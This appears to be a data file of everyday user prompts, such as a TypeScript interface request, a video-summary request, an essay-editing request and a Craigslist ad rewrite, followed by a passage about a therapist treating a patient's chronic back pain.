testing.\nTesting a Scenario:\nonView: Find a UI element.\nperform: Execute an action on the UI element.\ncheck: Verify the expected outcome.\n\nBe descriptive in explaining the concepts, and categorize the topics/sections for easier comprehension.' -'create me a typescript interface for the following response \n{\n "status": "Ok",\n "code": 200,\n "data": [\n {\n "\\_id": "63dfd2406eb589180cb7145f",\n "\\_projectId": "63b277f28535fcb954fc262a",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "\\_fileId": "63dfd23e6eb589180cb7145c",\n "\\_geoDataFileId": "63dfd2406eb589180cb7145e",\n "status": "active",\n "caption": "Image Title",\n "capturedAt": "1970-01-01T00:00:00.000Z",\n "createdAt": "2023-02-05T15:58:56.975Z",\n "updatedAt": "2023-02-14T08:32:35.427Z",\n "file": [\n {\n "\\_id": "63dfd23e6eb589180cb7145c",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "src": "s3",\n "status": "active",\n "visibility": "public",\n "createdAt": "2023-02-05T15:58:54.256Z",\n "updatedAt": "2023-02-05T15:58:56.869Z",\n "ext": "jpg",\n "url": "https://static.dev.airimpact.co/organization/6347fccb27c54b2812a7a98d/integrations/drone-shots/63dfd23e6eb589180cb7145c.jpg"\n }\n ],\n "geoData": [\n {\n "\\_id": "63dfd2406eb589180cb7145e",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "status": "active",\n "src": "s3",\n "visibility": "public",\n "createdAt": "2023-02-05T15:58:56.942Z",\n "updatedAt": "2023-02-05T15:58:56.942Z",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "alt": "63dfd23e6eb589180cb7145c",\n "ext": "json",\n "url": "https://static.dev.airimpact.co/organization/6347fccb27c54b2812a7a98d/integrations/drone-shots/63dfd23e6eb589180cb7145c.json"\n }\n ]\n },\n {\n "\\_id": "63f5bb8188a54e66673bb8e3",\n "\\_projectId": "63b277f28535fcb954fc262a",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "\\_fileId": "63f5bb7188a54e66673bb8e0",\n "\\_geoDataFileId": "63f5bb8188a54e66673bb8e2",\n "status": "active",\n "caption": "Test video drone",\n "capturedAt": "2023-02-21T00:00:00.000Z",\n "createdAt": "2023-02-22T06:51:45.451Z",\n "updatedAt": "2023-02-22T06:51:45.451Z",\n "file": [\n {\n "\\_id": "63f5bb7188a54e66673bb8e0",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "src": "s3",\n "status": "active",\n "visibility": "public",\n "createdAt": "2023-02-22T06:51:29.470Z",\n "updatedAt": "2023-02-22T06:51:45.407Z",\n "ext": "mp4",\n "url": "https://static.dev.airimpact.co/organization/6347fccb27c54b2812a7a98d/integrations/drone-shots/63f5bb7188a54e66673bb8e0.mp4"\n }\n ],\n "geoData": [\n {\n "\\_id": "63f5bb8188a54e66673bb8e2",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "status": "active",\n "src": "s3",\n "visibility": "public",\n "createdAt": "2023-02-22T06:51:45.414Z",\n "updatedAt": "2023-02-22T06:51:45.414Z",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "alt": "63f5bb7188a54e66673bb8e0",\n "ext": "json",\n "url": "https://static.dev.airimpact.co/organization/6347fccb27c54b2812a7a98d/integrations/drone-shots/63f5bb7188a54e66673bb8e0.json"\n }\n ]\n },\n {\n "\\_id": "63f5bc7e88a54e66673bb8ea",\n "\\_projectId": "63b277f28535fcb954fc262a",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "\\_fileId": "63f5bc6e88a54e66673bb8e7",\n "\\_geoDataFileId": "63f5bc7e88a54e66673bb8e9",\n "status": "active",\n "caption": "test",\n "capturedAt": "2023-02-21T00:00:00.000Z",\n "createdAt": "2023-02-22T06:55:58.155Z",\n "updatedAt": "2023-02-22T06:55:58.155Z",\n "file": [\n {\n "\\_id": "63f5bc6e88a54e66673bb8e7",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "src": "s3",\n "status": "active",\n "visibility": "public",\n "createdAt": "2023-02-22T06:55:42.912Z",\n "updatedAt": "2023-02-22T06:55:58.108Z",\n "ext": "mp4",\n "url": "https://static.dev.airimpact.co/organization/6347fccb27c54b2812a7a98d/integrations/drone-shots/63f5bc6e88a54e66673bb8e7.mp4"\n }\n ],\n "geoData": [\n {\n "\\_id": "63f5bc7e88a54e66673bb8e9",\n "\\_organizationId": "6347fccb27c54b2812a7a98d",\n "status": "active",\n "src": "s3",\n "visibility": "public",\n "createdAt": "2023-02-22T06:55:58.119Z",\n "updatedAt": "2023-02-22T06:55:58.119Z",\n "\\_userId": "63d0d8518d61ce96e24a8cbf",\n "alt": "63f5bc6e88a54e66673bb8e7",\n "ext": "json",\n "url": "https://static.dev.airimpact.co/organization/6347fccb27c54b2812a7a98d/integrations/drone-shots/63f5bc6e88a54e66673bb8e7.json"\n }\n ]\n }\n ]\n}' -'Title: "(332) Why You Should Create Content in 2023 [Naval Ravikant, Chamath Palihapitiya, MrBeast] - YouTube"\nVideo Transcript: "the new oil is ideas It\'s All Digital all the new fortunes are being created in idea space in fact if you\'re starting out today as a young ambitious person you don\'t learn real estate you don\'t learn coal and oil mining you don\'t go into extraction of physical resources to create wealth you go into idea space you go into programming books movies blogs and podcasts and building robots which are mostly intellectual property underneath I would focus on the content creator side of things because I believe that\'s where the puck is going that\'s a much more important shift in how we all consume information content and are entertained I really tend to believe as you\'ve probably gotten a sense of sort of patterns and probabilities and if you said to meth probabilistically answer where where are we going in apps and social experiences what I would say is Lex we spent the first decade building platforms and getting them to scale and if you want to think about it again back to sort of this poker analogy others mistakes minus your mistakes is the value well the value that was captured was trillions of dollars essentially to Apple and to Google and they did that by basically um attracting billions of monthly active users to their platform then this next way were the apps Facebook qq10 Tick Tock Twitter Snapchat that whole panoply of apps and interestingly they were in many ways an atomized version of the platforms right they sat on top of them they were an ecosystem participant but the value they created was the same trillions of dollars of Enterprise Value billions of monthly active users well there\'s an interesting phenomenon that\'s kind of hiding in plain sight which is that the next most obvious Atomic unit are content creators now let me give you two examples Lex Friedman this random crazy guy uh Mr Beast you know Jimmy Donaldson just the two of you alone add it up okay and you guys are going to approach in the next five years a billion people the only thing that you guys haven\'t figured out yet is how to capture trillions of dollars of value now maybe you don\'t want to and maybe that\'s not your State admission right right but let\'s just look at Mr Beast alone because he is trying to do exactly that probably yeah and I think Jimmy is going to build an enormous business but if you take Jimmy and all of the other content creators right you guys are atomizing what the apps have done you\'re providing your own curated news feeds you\'re providing your own curated communities you\'re allowed you let people move in and out of these things in a very lightweight way and value is accruing to you so the honest answer to your question is I would focus on the content creator side of things because I believe that\'s where the puck is going that\'s a much more important shift in how we all consume information content and are entertained it\'s through Brands like you individual people that we can humanize and understand are the filter like we get into this model of I must work for other people work my way up the ladder uh I must like do what that person is doing to make money but really today in society you get rewarded for Creative work for creating something brand new that Society didn\'t even know yet that it wanted it doesn\'t know how to get other than through you so the most powerful money makers are actually individual brands people like yourself or Elon or Kanye or Oprah or Trump right these are individual Brands eponymous name brands who themselves are leveraged like you\'re leveraged you have podcast media going out to everybody that\'s leveraged the podcast work for you when you sleep they have knowledge that nobody else has which is your knowledge is the knowledge of being Joe Rogan I mean who else is a UFC fighter and a commentator and a podcaster and a comedian and you know interested in all these things and knows all these people can\'t replace you so we have to pay you what you\'re worth and it was I never fought in the UFC though oh you didn\'t okay sorry um or you know whatever you\'re you\'re involved in that whole scene you just have a unique set of skill sets so because of this unique what I call specific knowledge because of the accountability that you have with your name because the leverage that you have through your media you\'re a money making machine you\'re like I\'m sure at this point I could make you start over tomorrow wipe out your bank account you\'d be rich again in no time because you have all the skill sets so once people have those skill sets and the beauty is the way you\'ve done it is you don\'t have any competition there\'s no substitution if Joe Rogan were to disappear off the air tomorrow it\'s not like random podcaster number 12 would step in and fill that thing no it\'s it\'s just gone so the way to get out of that competition trap is actually to be authentic the way to retire is actually to find the thing that you know how to do better than anybody and you know how to do that better anyway because you love to do it no one can compete with you if you love to do it be authentic and then figure out how to map that to what Society actually wants apply some leverage put your name on it so you take the risks but you gain the rewards have ownership and equity in what you do and then just crank it out then new oil is ideas It\'s All Digital all the new fortunes are being created in idea space in fact if you\'re starting out today as a young ambitious person you don\'t learn real estate you don\'t learn coal and oil mining you don\'t go into extraction of physical resources to create wealth you go into idea space you go into programming books movies blogs and podcasts and building robots which are mostly intellectual property underneath so even as a human civilization we\'re moving away from Conquest to physical resources and moving much more into trading of ideas I think four or five years from now there\'s gonna be a lot of articles about creators who are you know you will there will be billionaire creators right a handful of them you know yeah you\'ll just start seeing it more and more and more the direct to Consumer with your influence especially with the data Darkness thing that\'s going on with like you can\'t track right yeah it used to be really easy to just easy to find audiences it\'s not as easy to find it if you don\'t have it can you explain that the date of Darkness basically yeah you could track people you know you could Facebook collected everything so if you want if you had a widget and you wanted to find people who would want to buy that widget it was pretty easy because they give you all the data and they say I love widgets and here\'s my birthday and here are the other things I like it\'s really easy to find those audience now with the date of Darkness where you can\'t be tracked and stuff and cookie policy it\'s harder to find those people and so I was always like I cannot believe Brands pay me as much as they do to do these Integrations you know before I had my own business and now that I have my own business I\'m like those sobs were ripping me off oh you know what I mean it\'s like when you have your own audience and your own company you can pitch then it\'s like oh like yeah I was making them more money than they were paying me and they you know what I mean and then and sometimes the other thing with like well it didn\'t perform as well as we wanted it\'s like no dude I know that\'s not true now you know this is the kind of Entrepreneurship or or product Market fit flipped on its head where you know previously someone would create crunch labs they would say okay I have these I want to teach kids how to engineer now I need to go find an audience for them but now it\'s the inverse where it\'s hey I have this massive audience interested in building and Engineering let me build a company around that premise which is which is I think why we\'re heading towards billionaire yeah creators I agree what\'s the best thing to start doing on YouTube whatever you love Whatever Gets you excited gets you out of the bed in the morning that\'s the type of videos you should be making what are you genuinely curious and passionate about I mean um people on YouTube get views for like the strangest things you know what I mean like I bet you if we like there\'s someone who\'s making a living painting bowling balls I don\'t know but like you know there\'s this one board game I love playing and I was you know watching a tutorial watching some videos on it it\'s like not even that popular of a board game and the guy making the videos um was like a school teacher and like in one of the videos he mentioned how his channel on just this simple board game was doing so well that he was able to like quit his job as a teacher and and he went full time making videos about this board game you know what I mean and that\'s like that\'s one of those things where like you know if he was being over analytical people would be like don\'t don\'t make videos on a board game who cares about that board game but it\'s what he loved and it\'s what he was passionate about and so that pushed him to grind and putting the effort and you know he found an audience and some yeah my answer is make videos on whatever you love and you\'ll make it a lot further it\'s the same thing like like don\'t you know people say don\'t do YouTube for money and the thing is it\'s not like wanting money isn\'t gonna cause you to fail but if that\'s your focus it\'s like um I mean set aside money related videos like Graham Steven and or Stefan and all them but it\'s just if that\'s your focus you\'re not gonna put in as many hours and you\'re not gonna obsess as much than if it was something that you genuinely did as a hobby and and loved creating reflections another perspective that I have found very useful is from Alex ormosi he argues that just like in the past fortunes were made on oil today\'s fortunes are made on attention since anyone can build an audience thanks to the infinite leverage of the internet and you build an audience by being authentic to yourself by doing what you love and pursuing your genuine curiosity and that will naturally bring you authentic ideas which then you can package in a digital format to then be consumed by anyone on the internet who enjoys your ideas and your work in my opinion this is why Navarro account and Alex hermosi have said that ideas and attention are the new oil because once you have an audience and the attention it is relatively easy to monetize through ads Revenue brand deals and affiliate marketing or even create your own business which could solve the most common need of your audience and you wouldn\'t have to spend a penny on marketing on this YouTube channel in particular the content is just slides that I create from the Nugget that I pick to help people understand more easily these ideas a 65 percent of the general population are visual Learners including me and I make all of my slides and also my thumbnails on canva which is an awesome tool because you can essentially leverage over the designs of millions of Independent Artists who Supply their creative work to the platform and if you want to learn how I personally make my thumbnails on canva you can take my free course that I just created I will show you from scratch how to create a thumbnail I will also show you all the tricks that I have learned over two years of making videos on YouTube and also you will learn how to use canvas creative leverage in general to make cool slides on YouTube so if you want to check out my course just go to the first link in the video description it is free of charge and I will only earn a commission if you pay for canva pro which is the premium version of kamba and with my link you can get a 30 day free trial but if you don\'t want to try the premium version that\'s also perfectly fine because in the course I will show you some workarounds whenever I\'m using exclusive kamba raw features so I hope to see you in the course"\nVideo Summary:' -'Please fix this essay: Jane Eyre (Argument) In “Jane Eyre” we are introduced to a girl that is faced with a lot of challenges. These challenges influence her in many ways to her decisions that she has made throughout the novel. Going from facing her parent’s death and growing up as an orphan who is raised by a cruel aunt, to growing up learning how to raise herself and find happiness through rough times. Even dealing with the decision of possibly having to let go of the man she is in love with because of his dishonesty. Most of all she is challenged in choosing what is more important to her to stay independent or to kill her loneliness with a man that she is in love with named Rochester, with the risks of him being a false appearance to what she met him as. The difference between loneliness and independence for Jane is loneliness is her feeling of emotions that helps her achieve independence which is providing for herself, and creating stability to seek happiness. Jane is being raised at a place called Gateshead by the Reed’s, a very wealthy family. She is sent there by her kind uncle Reed after her parents die from a disease called typhus. While she is there she is mistreated by her cruel aunt Reed. When a fight breaks out between a cousin and her she is punished for throwing a book at his face and is blamed for the cause of it. Her aunt places her in a room referred to as the “red room” where her uncle dies, and while she is in there she believes that she sees his ghostly spirit and it frightens her into a shock and she passes out. This sets Jane off and she is facing a problem with feeling that she is singled out in the family and wants to neglect them because of her mistreating. Although there are some people who are nicer to her that work in Gateshead, her aunt gives her a title of being a liar from all the false statements that Jane makes to them. I believe that she is feeling this way because she has lost respect for her aunt Reed and really wants to neglect her. Jane says “I am glad that you are no relation of mine. I will never call you aunt again as long as I live. I will never come to visit you 2 when I am grown up; and if anyone asks me how I liked you, and how you treated me, I will say the very thought of you makes me sick, and that you treated me with miserable cruelty.” (95) Mrs. Reed’s reaction was shocking, but Jane was entitled to her own opinion and that is how she felt about her aunt that promised to take good care of her when her parents were dying. Jane’s actions show that she wants to leave and she already has her mind made up that she is going to leave but doesn’t know when. This is the set off to Jane and her structuring life to growing up being independent. Jane is struck with news that she will be sent off to school to a place called Lowood. She meets a seemingly nice principal named Mr. Brocklehurst before attending and she thinks that this is going to be the beginning of a possible happy life until she arrives and sees otherwise. Jane quickly meets a girl that she becomes really close with at Lowood that sticks with her through humiliation that she goes through at school named Helen. When Helen lets her know that the school she is at is a school for charity maintained for female orphans, you can imagine the thoughts that were going through her head that she was not wanted at Gateshead. She is a young girl that just feels alone in the world that she lives in. This influenced her to grow up being independent as well, with the guidance of her strong faith in God and her religion to keep her going. She uses her faith as guidance to where she will continue her life and move forward to what she feels God wants her to do. While she was at school the Reed’s sent a message with the Principal that Jane was a compulsive liar and that she was pretty much unmoral. Jane realizes that she is at a really strict school and when a event happened that Jane was accused for Mr. Brocklehurst put Jane on a pedal stool and told everyone that she was a liar and to not associate with her. Though Helen stuck with her and attempted to lift her spirits telling her that most of the girls felt pittier for her than looking at her as guilt Jane still feels alone. 3 When Helen soon dies from consumption Jane is further more upset than anything and feels that it is not meant for her to have anyone close in her life. Jane quotes to herself “I remembered descending that hill at twilight: an age seemed to have elapsed since the day which brought me first to Lowood; and I had never quitted it since. My vacations had all been spent at school: Mrs. Reed had never sent for me to Gateshead; neither she nor any of her family had ever been to visit me. I had no communication by letter or message with the outer world.”(151) Jane is reminiscing her past and this is symbolizing her loneliness, she is further more believing that it is meant for her to be alone in the world that she is living in and that her independence was created from this. The difference of her feeling alone is to fulfill her happiness and her independence is to assure herself that she can still make it without depending on anyone. She grows in to a woman that wants to have her own stableness. What’s bizarre about this quality of Jane is that she lives in a era that women do not work to have their own stableness unless they inherit it. Women were known to depend on their husband to take care of them and their families. Later Jane grows up and moves away from Lowood to a place called Thornfield where she is starting her life and tutors a girl named Adele. While she is there, she is introduced to a man named Rochester who is uncharacteristic when he first meets her, but eventually pulls the attention out of Jane with his strong personality. Jane eventually finds herself attracted and falling for Rochester after saving his life from a fire. “And was Mr. Rochester now ugly in my eyes? No, reader: gratitude, and many associations, all pleasurable and genial, made his face the object I best liked to see; his presence in a room was more cheering than the brightest fire.”(220) she is showing that her feelings for Rochester is there and even though she may have seen some faults in him the actual attention she had from him made her feel wanted. Something that she has 4 not felt in a long time, the fact that it was an event that caught her off guard she refuses to let her guard down immediately but she will cherish the moments she gets from his attention. The feeling of being lonely has started to fade and she realizes that the attention she gets from him makes her feel happy. “But I believed that his moodiness, his harshness, and former faults of morality had their source in some cruel cross of fate. I believed he was naturally a man of better tendencies, higher principles, and purer tastes than such as circumstances had developed, education instilled, or destiny encouraged.”(220) I believe that this is faith in Jane’s personality, and the past that she came from where people who has mistreated her had never gave her the time or belief that they had a better side of them. Rochester with some faults still has a better side and can still cheer her up with just associating makes him potentially tolerant to Jane. Jane has the ability to consider Rochester’s faults because she mentions when talking to herself that she would be willing to satisfy his grief, whenever he might be moody she has the heart of a teddy bear. “I cannot deny that I grieved for his grief, whatever that was, and would have given much to assuage it.” (220) Why would someone who has never been treated good by someone she loved be willing to fix what she does not necessarily like? Jane’s feign for happiness is followed by her obsession of attention and satisfying from the absent of loneliness which Rochester shows her these qualities. Meanwhile as Jane is asked to join a party that is filled with elegant and aristocratic guest. Blanche Ingram and her mother are ahead of the party members and they treat Jane with distain and cruelty, Jane does not take this well and leaves in tears before she is stopped by Rochester who catches her down emotions. He lets her leave because she is upset but he tells her that he wants her to come by the drawing room every evening during his guests company at Thornfield. “ Well, to-night I excuse you; but understand that so long as my visitors stay, I expect you to appear in the drawing-room every evening: it is 5 my wish; don’t neglect it. Now go, and send Sophie for Adele. Goodnight my ---“ He stopped, bit his lip, and abruptly left me.” (259) I believe Jane catches on to this as she might have enjoyed this ever more than she speaks right away. Jane knows that Rochester is showing affection and cares about her and to see her on a everyday occasion. This is the affection that makes Jane feel less lonely and makes her happy inside. Jane desperately travels back to Gateshead when she hears her aunt Reed is dying, while she is there she is presented with a old letter and news that she has family that wants to adopt her and share with her some of their wealth, that she later gets in the novel. She is away for a couple of months and gets news that Rochester had went to buy a new carriage, something intended for a marriage. Jane’s feelings for Rochester are addressed more by the narrator when she returns back to Thornfield. She shocks herself when she expresses to Rochester how she missed him while they were away from each other. “Thank you, Mr. Rochester, for your great kindness. I am strangely glad to get back to you; and wherever you are is my home, my home only home.” (330) This is an example of Jane’s happiness from the presence of Rochester. She feels that she is no longer lonely when it comes to people she is encountered with. Although her independence still takes place when she has taken it upon herself to travel to Gateshead alone and see her aunt Reed that dies. Jane’s faith in God fortunately guides her to finding out that she has family that she eventually inherits wealth from. Post acceptance to Rochester’s proposal she contacts her uncle John Eyre and lets him know of her wedding. John makes Jane his heir and she is now equal footing to Rochester. This makes Jane more comfortable to marrying Rochester, and satisfies her doubts that the wedding possibly will not happen. “Do you remember what you said of Celine Varens? Of the diamonds, the cashmeres you gave her? I will not be your English Celine Varens. I shall continue to act as Adele’s governess: by that I shall earn my board and lodging, and thirty 6 pounds a year besides. I’ll furnish my own wardrobe out of that money, and you shall give me nothing but.” (356) Jane’s independence is shown here when she expresses to Rochester that she will not marry him until she is able to have her own stability. She uses a lady that Rochester had encounters with in the past that he nourished, and she explicitly says that she will not be that woman; that she will not depend on Rochester. Jane’s pride has made her more compelling to Rochester and it makes his love for her stronger. Awaiting their marriage another tragic event happens that postpones the wedding even longer. While there was a first attempt to a wedding, Rochester strangely tries to resume the ceremony as someone quickly interrupts and rejects why they should get married. Rochester is confronted with the news and proof that he was still married to another woman named Bertha. While they crowd was invited to see why she was kept a secret Jane departures herself for a while until she recovers. While this crazy event was happening Jane picked up her inherited five thousand pounds that was split between her and her cousins. Rochester is blinded by a fire that happens at Thornfield when it is burned down and his legally married wife Bertha was killed in that fire attempting to kill Rochester. Jane is left with twenty thousand pounds when her uncle John dies and eventually gets back to Rochester. With the drama that has diluted and faded away Jane and Rochester picked up where they stopped and ends up getting married. It is important to know that Rochester lost a hand and his eyesight and she still seeks the love she had for him. Jane and Rochester had been married happily for ten years, after two years in to their marriage they have a baby boy and Rochester claims to be getting his sight back in one eye when he says he is able to see their son when he holds him for the first time. Jane completes a life of struggle and tough challenges through faith and pride. Her belief in God and using his guidance lead her to a life that she never thought she would have growing 7 up as a little girl. She survives through her times of loneliness and provides herself with the ability to be independent to seek happiness. Jane shows the definition and the difference of loneliness and independence. She uses her feelings of emotions to motivate her to achieve independence by assuring that she will be able provide for herself before she completes her life with happiness. She seeks happiness when she realizes that she has love in her life but refuses to take the offer of love until she was able to create stability by being independent in the process. Jane ends up being of more fortune of Rochester and still being able to have the love she wanted with him by sticking with her faith and pride and guidance from the love of God. The story and rough journey of Jane Eyre, ends up being the happy Jane Rochester.' -"rewrite this craigslist as so attracts local traffic and people who really need Subaru stuff, and write the title so its eye catching and infotaining, the Subaru Crosstrek Cargo Tray and Sports Carpet are selling for $125, so make it sound like a really compelling offer: Attention Subaru enthusiasts!\n\nAre you tired of constantly cleaning the trunk of your Crosstrek or Impreza, or replacing flimsy car mats that just can't handle the wear and tear of everyday life? We have the perfect solution for you.\n\nIntroducing the Subaru Crosstrek Cargo Tray and Sport Carpeted Car Mats - the ultimate protective accessories for your beloved vehicle.\n\nThe cargo tray is a must-have for any Crosstrek or Impreza owner. It helps protect the trunk area from stains, dirt, and other messes, while also providing a surface that reduces the shifting of cargo while driving. No more worrying about spills or messes ruining the trunk of your car.\n\nAnd to complete the package, we're also offering a set of premium, plush car mats specifically designed for the 2016-2021 Subaru Crosstrek. These mats provide excellent protection from dirt, moisture, and grease, helping to keep your car looking clean and new.\n\nDon't miss out on this opportunity to upgrade your Subaru and keep it in top condition. Both the cargo tray and car mats are brand new and ready to ship. Order now and give your Crosstrek the protection it deserves!\n\nPLUSH SPORTS MATS:\n\nSubaru: 1 models, 24 variants between 2018 and 2022.\n\nSubaru Crosstrek 2018, 2020, 2021, 2022\nSubaru Crosstrek 2.0L 6MT Base 2018, 2019\nSubaru Crosstrek 2.0L 6MT Premium 2018, 2019\nSubaru Crosstrek 2.0L 6MT Premium Plus 2018, 2019\nSubaru Crosstrek 2.0L CVT Base 2018, 2019\nSubaru Crosstrek 2.0L CVT Limited 2018, 2019\nSubaru Crosstrek 2.0L CVT Limited w/EyeSight 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium Plus 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium Plus w/EyeSight 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium w/Eyesight 2018, 2019\n\n\nCARGO MAT:\nSubaru: 2 models, 115 variants between 2017 and 2022.\n\nSubaru Crosstrek 2018, 2019, 2020, 2021, 2022\nSubaru Crosstrek 2.0L 6MT Base 2018, 2019\nSubaru Crosstrek 2.0L 6MT Premium 2018, 2019\nSubaru Crosstrek 2.0L 6MT Premium Plus 2018, 2019\nSubaru Crosstrek 2.0L CVT Base 2018, 2019\nSubaru Crosstrek 2.0L CVT Limited 2018, 2019\nSubaru Crosstrek 2.0L CVT Limited w/EyeSight 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium Plus 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium Plus w/EyeSight 2018, 2019\nSubaru Crosstrek 2.0L CVT Premium w/Eyesight 2018, 2019\nSubaru Impreza 2017, 2018, 2019, 2020, 2021, 2022\nSubaru Impreza 2.0L 5MT 4WD Premium Plus Sedan 2018, 2019, 2022\nSubaru Impreza 2.0L 5MT 4WD Premium Plus Wagon 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L 5MT 4WD Premium Sedan 2018, 2019, 2022\nSubaru Impreza 2.0L 5MT 4WD Premium Wagon 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L 5MT 4WD Sedan 2018, 2019, 2022\nSubaru Impreza 2.0L 5MT 4WD Sport Sedan 2018, 2019\nSubaru Impreza 2.0L 5MT 4WD Sport Wagon 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L 5MT 4WD Wagon 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Limited Sedan 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Limited Sedan w/EyeSight 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Limited Wagon 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Limited Wagon w/EyeSight 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Premium Plus Sedan 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Premium Plus Sedan w/Eyesight 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Premium Plus Wagon 2017, 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Premium Plus Wagon w/Eyesight 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Premium Sedan 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Premium Sedan w/EyeSight 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Premium Wagon 2017, 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Premium Wagon w/EyeSight 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Sedan 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Sedan w/EyeSight 2022\nSubaru Impreza 2.0L CVT 4WD Sport Premium Sedan w/EyeSight 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Sport Premium Wagon w/EyeSight 2017, 2018, 2019, 2022\nSubaru Impreza 2.0L CVT 4WD Sport Sedan 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Sport Wagon 2017, 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Wagon 2017, 2018, 2019\nSubaru Impreza 2.0L CVT 4WD Wagon w/EyeSight 2022\n1 / 1" -'Sally’s basic problem, in my view, is behavioral. That is, she has not been taking care of herself while she has been taking care of business. She has put on a ton of weight, to begin with, which hasn’t helped. And she has had a lot of pain. Interestingly (and familiarly to me), the fear of its onset has been almost as bad as the pain itself. That hasn’t helped her business either, she says. Like Fit Fred, she reads off the list of things her medical doctor says are wrong with her with something approaching pride. And, sure enough, the list goes on for quite a while. She has central stenosis, foraminal stenosis (that’s what the second operation was for, but it’s back), bone spurs (bony growths like calluses, but on the bone), and good old spondylolisthesis (a slippage of one vertebra over another, which hurts). \nOf the four surgeries she has had, the most recent two, the fusion and the laminectomy, relieved some of her debilitating leg and foot pain for a while, but serious back pain remains, along with intermittent bouts of buttock and leg pain when she walks. We talk about her postsurgical physical therapy. It helped somewhat while she was doing it but the lower back pain always came back. Now everything she does hurts. Walking, sitting, standing, you name it. She scoffs when I ask about resuming an exercise regimen. “That, sir, is impossible.” Well, we’ll see.\nI start by asking her to get up on the table and lie on her back. Not so fast, she says. That is almost beyond her. She weighs an awful lot and every move hurts. It is not easy for her to get on the table, and she doesn’t like it. I help her, but I weigh only about 150; I can see her thinking to herself, “Maybe a bigger therapist?” But we get there. Once she settles into the position on her back, I ask her to bend her knees and put her feet flat on the table. Same thing I told myself to do, that day of my back spasm. It hurts, she says. I ignore that, and tell her to move her legs up and down as if marching in place, bringing the knees up toward the torso. Does this make your back hurt? Of course it does. But—sneaky, I know—she is getting used to the idea that I think it’s going to be possible for her to move in this position, which is true. Okay, I say, let’s lessen the range of motion a lot. Now just barely lift your feet off of the table. Does this make your back hurt? Yes. Growing frustration. \nNow I shift gears and, for the next fifteen minutes, I talk to her about finding her neutral spine. She does. Then I ask her to tighten the muscles in her abdomen, which—God bless her—she finally does. I’m getting off track and talking a bit about the beginning of therapy, I know, but therapy and diagnosis are inseparable in her case. \nThen I have her do the marching in place again, but with those muscles engaged. Does that hurt? “No,” she says with surprise. And darned if she doesn’t brighten a little. A wisp of pleasure or relief comes across her face. Huh! \nI tell her that she has just crossed the Rubicon. We have begun on the road to a cure. It is going to be long and hard, but my guess is that we are going to get there. “Yeah?” she asks, not daring to believe it. \n“Yeah,” I say, “I believe we are. No guarantees and a lot of work for you. But my guess is that you’ve been a worker all your life, that you’ll work at this and that you will make it. Yes.” She is plenty skeptical, but she smiles, too. \nI explain that if she can move her legs without pain in her back while lying down then she can eventually do it upright. And that is called walking. It has been a while since she was able to walk without pain, and there have been plenty of days when she couldn’t walk at all. I push her to do a little more, but that little march is all she can do for now. Fine, that’s where we start. \nThere can be a serious, psychological component in all this, and it was very serious indeed with Sally. She had become deeply scared of movement. Any and all movement because any movement hurts. Her default solution has been not to move at all. Worse than that, her real solution in recent times has been to sit on the sofa and drink quite a bit of white wine. It worked, in a way, but was disastrous, too. It has given her this hideous weight problem. It hasn’t made her very good company, and it has been brutal for her business. But she didn’t hurt when doing that. So she sat on the couch for many hours a day, doing some business and quite a lot of drinking. My complicated task—and the book may not be much help on this one—was to wean her from the sofa-and-wine solution and get her into the movement solution. I was cautiously optimistic. Justifiably optimistic, it turns out. She is a proud woman and had a right to be. I thought that that fact and the early easing of pain just might do the job.\nSally and I have been at it for six months and she has done remarkably well. We are not there yet, but she has made terrific progress, her spirits are much improved, and her drinking much abated. Six months into our work, she is walking with her spouse around the neighborhood at night without much pain. She is playing with her grandchildren. She is going to the movies. She goes to the office rather than having everything brought to her at home. And she is doing serious (for her) strength training! She sees all this as a near-miracle and is charmingly grateful. Is she totally pain-free? No. She may never be. Does she have her life back? Yes, quite a bit of it, anyway. I want to see her make more progress. She thinks what has happened thus far is extraordinary.\nTHE GATEWAY THEORY OF PAIN \nHere is a little anecdote about the walking-in-place solution with which so many cures begin. A big reason for the reduction of pain is that tensing the abdominal muscles in the right way keeps the spine from moving and causing irritation. But, another reason is that it is a simple distraction from pain, to get the patient to focus on movement. We have gateways or pathways over which pain moves to the brain, and they have a limited capacity. One of the things about the walking-in-place phenomenon is that the “reports” of this activity to the brain take up a fair amount of neural space and block the gateways. There is less room for the 